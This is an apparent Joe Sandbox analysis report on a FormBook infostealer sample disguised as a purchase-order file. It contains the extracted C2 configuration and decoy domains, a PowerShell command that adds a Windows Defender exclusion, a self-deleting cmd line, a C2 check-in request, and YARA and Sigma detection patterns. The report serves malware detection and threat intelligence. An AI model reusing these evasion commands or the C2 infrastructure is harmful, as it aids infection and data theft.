Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Request For PO-230102.bat.exe

Overview

General Information

Sample name:Request For PO-230102.bat.exe
Analysis ID:1533270
MD5:4efaeafe642c9238304aa562c1477a26
SHA1:a646d9cd8aed904f5ad3ca1c7d8d03ac51be9e3d
SHA256:0309aa8889daca83b4cf97ab99bc9921bb549c9187736a69c76185dfe68cd325
Tags:exe
Infos:

Detection

FormBook
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected AntiVM3
Yara detected FormBook
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
C2 URLs / IPs found in malware configuration
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Sigma detected: CMSTP Execution Process Creation
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Switches to a custom stack to bypass stack traces
Tries to detect virtualization through RDTSC time measurements
Tries to resolve many domain names, but no domain seems valid
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Uses 32bit PE files
Uses a Windows Living Off The Land Binaries (LOL bins)
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • Request For PO-230102.bat.exe (PID: 4948 cmdline: "C:\Users\user\Desktop\Request For PO-230102.bat.exe" MD5: 4EFAEAFE642C9238304AA562C1477A26)
    • powershell.exe (PID: 2460 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 5420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • Request For PO-230102.bat.exe (PID: 1512 cmdline: "C:\Users\user\Desktop\Request For PO-230102.bat.exe" MD5: 4EFAEAFE642C9238304AA562C1477A26)
      • explorer.exe (PID: 4056 cmdline: C:\Windows\Explorer.EXE MD5: 662F4F92FDE3557E86D110526BB578D5)
        • cmstp.exe (PID: 4816 cmdline: "C:\Windows\SysWOW64\cmstp.exe" MD5: D7AABFAB5BEFD53BA3A27BD48F3CC675)
          • cmd.exe (PID: 1652 cmdline: /c del "C:\Users\user\Desktop\Request For PO-230102.bat.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 3492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • conhost.exe (PID: 508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Formbook, FormboFormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.
  • SWEED
  • Cobalt
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.f6b-crxy.top/cu29/"], "decoy": ["qidr.shop", "usinessaviationconsulting.net", "68716329.xyz", "nd-los.net", "ealthironcladguarantee.shop", "oftware-download-69354.bond", "48372305.top", "omeownershub.top", "mall-chilli.top", "ajakgoid.online", "ire-changer-53482.bond", "rugsrx.shop", "oyang123.info", "azino-forum-pro.online", "817715.rest", "layman.vip", "eb777.club", "ovatonica.net", "urgaslotvip.website", "inn-paaaa.buzz", "reativedreams.design", "upremehomes.shop", "ames-saaab.buzz", "phonelock.xyz", "ideandseekvacations.xyz", "77179ksuhr.top", "ental-bridges-87553.bond", "7win2.bet", "ainan.company", "5mwhs.top", "hopp9.top", "65fhgejd3.xyz", "olandopaintingllc.online", "n-wee.buzz", "reshcasinoinfo2.top", "5734.party", "qtbyj.live", "gil.lat", "siabgc4d.online", "fios.top", "sed-cars-89003.bond", "nlineschools-2507-001-sap.click", "upiloffatemotors.online", "ordf.top", "achhonglan.shop", "irex.info", "oursmile.vip", "leachlondonstore.online", "asukacro.online", "panish-classes-64045.bond", "apita.top", "srtio.xyz", "kdsclci.bond", "ochacha.sbs", "oldsteps.buzz", "yzq0n.top", "npostl.xyz", "ladder-cancer-symptoms-mine.sbs", "400725iimfyuj120.top", "3589.photo", "rasilhojenoticias.online", "ependableequipment.online", "itusbandar126.info", "ohns.app"]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBookYara detected FormBookJoe Security
    0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmpJoeSecurity_FormBook_1Yara detected FormBookJoe Security
      0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmpWindows_Trojan_Formbook_1112e116unknownunknown
      • 0x6251:$a1: 3C 30 50 4F 53 54 74 09 40
      • 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
      • 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
      • 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
      0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmpFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
      • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
      • 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
      • 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
      • 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
      • 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
      • 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
      • 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
      • 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D
      • 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4
      • 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
      0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmpFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
      • 0x18809:$sqlite3step: 68 34 1C 7B E1
      • 0x1891c:$sqlite3step: 68 34 1C 7B E1
      • 0x18838:$sqlite3text: 68 38 2A 90 C5
      • 0x1895d:$sqlite3text: 68 38 2A 90 C5
      • 0x1884b:$sqlite3blob: 68 53 D8 7F 8C
      • 0x18973:$sqlite3blob: 68 53 D8 7F 8C
      Click to see the 25 entries

      Unpacked PEs

      SourceRuleDescriptionAuthorStrings
      4.2.Request For PO-230102.bat.exe.400000.0.raw.unpackJoeSecurity_FormBookYara detected FormBookJoe Security
        4.2.Request For PO-230102.bat.exe.400000.0.raw.unpackJoeSecurity_FormBook_1Yara detected FormBookJoe Security
          4.2.Request For PO-230102.bat.exe.400000.0.raw.unpackWindows_Trojan_Formbook_1112e116unknownunknown
          • 0x6251:$a1: 3C 30 50 4F 53 54 74 09 40
          • 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55
          • 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
          • 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
          4.2.Request For PO-230102.bat.exe.400000.0.raw.unpackFormbook_1autogenerated rule brought to you by yara-signatorFelix Bilstein - yara-signator at cocacoding dot com
          • 0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC
          • 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94
          • 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
          • 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F
          • 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
          • 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06
          • 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
          • 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D
          • 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4
          • 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
          4.2.Request For PO-230102.bat.exe.400000.0.raw.unpackFormbookdetect Formbook in memoryJPCERT/CC Incident Response Group
          • 0x18809:$sqlite3step: 68 34 1C 7B E1
          • 0x1891c:$sqlite3step: 68 34 1C 7B E1
          • 0x18838:$sqlite3text: 68 38 2A 90 C5
          • 0x1895d:$sqlite3text: 68 38 2A 90 C5
          • 0x1884b:$sqlite3blob: 68 53 D8 7F 8C
          • 0x18973:$sqlite3blob: 68 53 D8 7F 8C
          Click to see the 5 entries

          Sigma Signatures

          System Summary

          barindex
          Sigma detected: CMSTP Execution Process Creation
          Source: Process startedAuthor: Nik Seetharaman: Data: Command: /c del "C:\Users\user\Desktop\Request For PO-230102.bat.exe", CommandLine: /c del "C:\Users\user\Desktop\Request For PO-230102.bat.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\SysWOW64\cmstp.exe", ParentImage: C:\Windows\SysWOW64\cmstp.exe, ParentProcessId: 4816, ParentProcessName: cmstp.exe, ProcessCommandLine: /c del "C:\Users\user\Desktop\Request For PO-230102.bat.exe", ProcessId: 1652, ProcessName: cmd.exe
          Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Request For PO-230102.bat.exe", ParentImage: C:\Users\user\Desktop\Request For PO-230102.bat.exe, ParentProcessId: 4948, ParentProcessName: Request For PO-230102.bat.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe", ProcessId: 2460, ProcessName: powershell.exe
          Sigma detected: Powershell Defender Exclusion
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Request For PO-230102.bat.exe", ParentImage: C:\Users\user\Desktop\Request For PO-230102.bat.exe, ParentProcessId: 4948, ParentProcessName: Request For PO-230102.bat.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe", ProcessId: 2460, ProcessName: powershell.exe
          Sigma detected: Non Interactive PowerShell Process Spawned
          Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Request For PO-230102.bat.exe", ParentImage: C:\Users\user\Desktop\Request For PO-230102.bat.exe, ParentProcessId: 4948, ParentProcessName: Request For PO-230102.bat.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe", ProcessId: 2460, ProcessName: powershell.exe

          Suricata Signatures

          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2024-10-14T15:17:27.763565+020020314531Malware Command and Control Activity Detected192.168.2.75628785.13.166.1880TCP

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Antivirus / Scanner detection for submitted sample
          Source: Request For PO-230102.bat.exeAvira: detected
          Found malware configuration
          Source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmpMalware Configuration Extractor: FormBook {"C2 list": ["www.f6b-crxy.top/cu29/"], "decoy": ["qidr.shop", "usinessaviationconsulting.net", "68716329.xyz", "nd-los.net", "ealthironcladguarantee.shop", "oftware-download-69354.bond", "48372305.top", "omeownershub.top", "mall-chilli.top", "ajakgoid.online", "ire-changer-53482.bond", "rugsrx.shop", "oyang123.info", "azino-forum-pro.online", "817715.rest", "layman.vip", "eb777.club", "ovatonica.net", "urgaslotvip.website", "inn-paaaa.buzz", "reativedreams.design", "upremehomes.shop", "ames-saaab.buzz", "phonelock.xyz", "ideandseekvacations.xyz", "77179ksuhr.top", "ental-bridges-87553.bond", "7win2.bet", "ainan.company", "5mwhs.top", "hopp9.top", "65fhgejd3.xyz", "olandopaintingllc.online", "n-wee.buzz", "reshcasinoinfo2.top", "5734.party", "qtbyj.live", "gil.lat", "siabgc4d.online", "fios.top", "sed-cars-89003.bond", "nlineschools-2507-001-sap.click", "upiloffatemotors.online", "ordf.top", "achhonglan.shop", "irex.info", "oursmile.vip", "leachlondonstore.online", "asukacro.online", "panish-classes-64045.bond", "apita.top", "srtio.xyz", "kdsclci.bond", "ochacha.sbs", "oldsteps.buzz", "yzq0n.top", "npostl.xyz", "ladder-cancer-symptoms-mine.sbs", "400725iimfyuj120.top", "3589.photo", "rasilhojenoticias.online", "ependableequipment.online", "itusbandar126.info", "ohns.app"]}
          Multi AV Scanner detection for submitted file
          Source: Request For PO-230102.bat.exeReversingLabs: Detection: 36%
          Yara detected FormBook
          Source: Yara matchFile source: 4.2.Request For PO-230102.bat.exe.400000.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 4.2.Request For PO-230102.bat.exe.400000.0.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 0000000E.00000002.3707841905.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.3708233688.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000004.00000002.1393248117.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          AI detected suspicious sample
          Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
          Machine Learning detection for sample
          Source: Request For PO-230102.bat.exeJoe Sandbox ML: detected
          Source: Request For PO-230102.bat.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
          Source: Request For PO-230102.bat.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: Binary string: cmstp.pdbGCTL source: Request For PO-230102.bat.exe, 00000004.00000002.1398545896.00000000019E0000.00000040.10000000.00040000.00000000.sdmp, Request For PO-230102.bat.exe, 00000004.00000002.1393537165.0000000001038000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000002.3705855886.0000000000E30000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: wntdll.pdbUGP source: Request For PO-230102.bat.exe, 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000003.1394460860.0000000004AA8000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000002.3708925256.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000003.1399870651.0000000004C59000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000002.3708925256.0000000004F9E000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: Request For PO-230102.bat.exe, Request For PO-230102.bat.exe, 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, cmstp.exe, cmstp.exe, 0000000E.00000003.1394460860.0000000004AA8000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000002.3708925256.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000003.1399870651.0000000004C59000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000002.3708925256.0000000004F9E000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: cmstp.pdb source: Request For PO-230102.bat.exe, 00000004.00000002.1398545896.00000000019E0000.00000040.10000000.00040000.00000000.sdmp, Request For PO-230102.bat.exe, 00000004.00000002.1393537165.0000000001038000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, cmstp.exe, 0000000E.00000002.3705855886.0000000000E30000.00000040.80000000.00040000.00000000.sdmp
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3B3C4 memset,GetPrivateProfileStringW,FindFirstFileW,memset,FindNextFileW,14_2_00E3B3C4
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E3894B memset,memset,memset,SHGetFolderPathW,memset,SHGetFolderPathW,CmFree,memset,FindFirstFileW,GetLastError,memset,memset,FindNextFileW,FindClose,14_2_00E3894B
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4x nop then jmp 072C652Ah0_2_072C5C61
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4x nop then pop ebx4_2_00407B22
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 4x nop then pop ebx14_2_02E97B22

          Networking

          barindex
          Suricata IDS alerts for network traffic
          Source: Network trafficSuricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.7:56287 -> 85.13.166.18:80
          Source: Network trafficSuricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.7:56287 -> 85.13.166.18:80
          Source: Network trafficSuricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.7:56287 -> 85.13.166.18:80
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeNetwork Connect: 85.13.166.18 80Jump to behavior
          C2 URLs / IPs found in malware configuration
          Source: Malware configuration extractorURLs: www.f6b-crxy.top/cu29/
          Tries to resolve many domain names, but no domain seems valid
          Source: unknownDNS traffic detected: query: www.ladder-cancer-symptoms-mine.sbs replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.400725iimfyuj120.top replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.5mwhs.top replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.ochacha.sbs replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.nd-los.net replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.ohns.app replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.f6b-crxy.top replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.asukacro.online replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.reshcasinoinfo2.top replaycode: Name error (3)
          Source: unknownDNS traffic detected: query: www.inn-paaaa.buzz replaycode: Name error (3)
          Source: global trafficHTTP traffic detected: GET /cu29/?Dzr=IwPUjMyQOkFzpF8yWccrKmKp5P8dDDiJJg1OEW3Oajc2fvmWhIoIvoJUZNgedySmeDm+J9tHNw==&R2M=Gpg8ENjxBfvTXZ1 HTTP/1.1Host: www.irex.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: Joe Sandbox ViewASN Name: NMM-ASD-02742FriedersdorfHauptstrasse68DE NMM-ASD-02742FriedersdorfHauptstrasse68DE
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC51F82 getaddrinfo,setsockopt,recv,6_2_0FC51F82
          Source: global trafficHTTP traffic detected: GET /cu29/?Dzr=IwPUjMyQOkFzpF8yWccrKmKp5P8dDDiJJg1OEW3Oajc2fvmWhIoIvoJUZNgedySmeDm+J9tHNw==&R2M=Gpg8ENjxBfvTXZ1 HTTP/1.1Host: www.irex.infoConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
          Source: global trafficDNS traffic detected: DNS query: www.ohns.app
          Source: global trafficDNS traffic detected: DNS query: www.irex.info
          Source: global trafficDNS traffic detected: DNS query: www.f6b-crxy.top
          Source: global trafficDNS traffic detected: DNS query: www.inn-paaaa.buzz
          Source: global trafficDNS traffic detected: DNS query: www.5mwhs.top
          Source: global trafficDNS traffic detected: DNS query: www.400725iimfyuj120.top
          Source: global trafficDNS traffic detected: DNS query: www.reshcasinoinfo2.top
          Source: global trafficDNS traffic detected: DNS query: www.ladder-cancer-symptoms-mine.sbs
          Source: global trafficDNS traffic detected: DNS query: www.asukacro.online
          Source: global trafficDNS traffic detected: DNS query: www.nd-los.net
          Source: global trafficDNS traffic detected: DNS query: www.ochacha.sbs
          Source: explorer.exe, 00000006.00000003.2273517291.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3075220415.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1281166558.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1276255784.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2271728227.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3711335854.000000000730B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3713594724.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
          Source: explorer.exe, 00000006.00000003.2273517291.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3075220415.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1281166558.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1276255784.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2271728227.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3711335854.000000000730B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3713594724.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
          Source: explorer.exe, 00000006.00000003.2273517291.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3075220415.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1281166558.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1276255784.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2271728227.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3711335854.000000000730B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3713594724.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
          Source: explorer.exe, 00000006.00000003.2273517291.000000000730A000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3075220415.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1281166558.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000000.1276255784.0000000007306000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.2271728227.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3711335854.000000000730B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3713594724.0000000008F4D000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.com0
          Source: explorer.exe, 00000006.00000000.1276255784.00000000071FC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3710443877.00000000071FC000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://ocsp.digicert.comhttp://crl3.digicert.com/DigiCertGlobalRootG2.crlhttp://crl4.digicert.com/Di
          Source: explorer.exe, 00000006.00000002.3712877639.0000000008810000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000000.1278731703.0000000007C70000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000006.00000002.3712909345.0000000008820000.00000002.00000001.00040000.00000000.sdmpString found in binary or memory: http://schemas.micro
          Source: Request For PO-230102.bat.exe, 00000000.00000002.1260562425.0000000002C31000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
          Source: Request For PO-230102.bat.exeString found in binary or memory: http://tempuri.org/DataSet1.xsd
          Source: explorer.exe, 00000006.00000003.2271046422.000000000C566000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000003.3074926109.000000000C575000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000006.00000002.3719198349.000000000C575000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://www.400725iimfyuj120.top
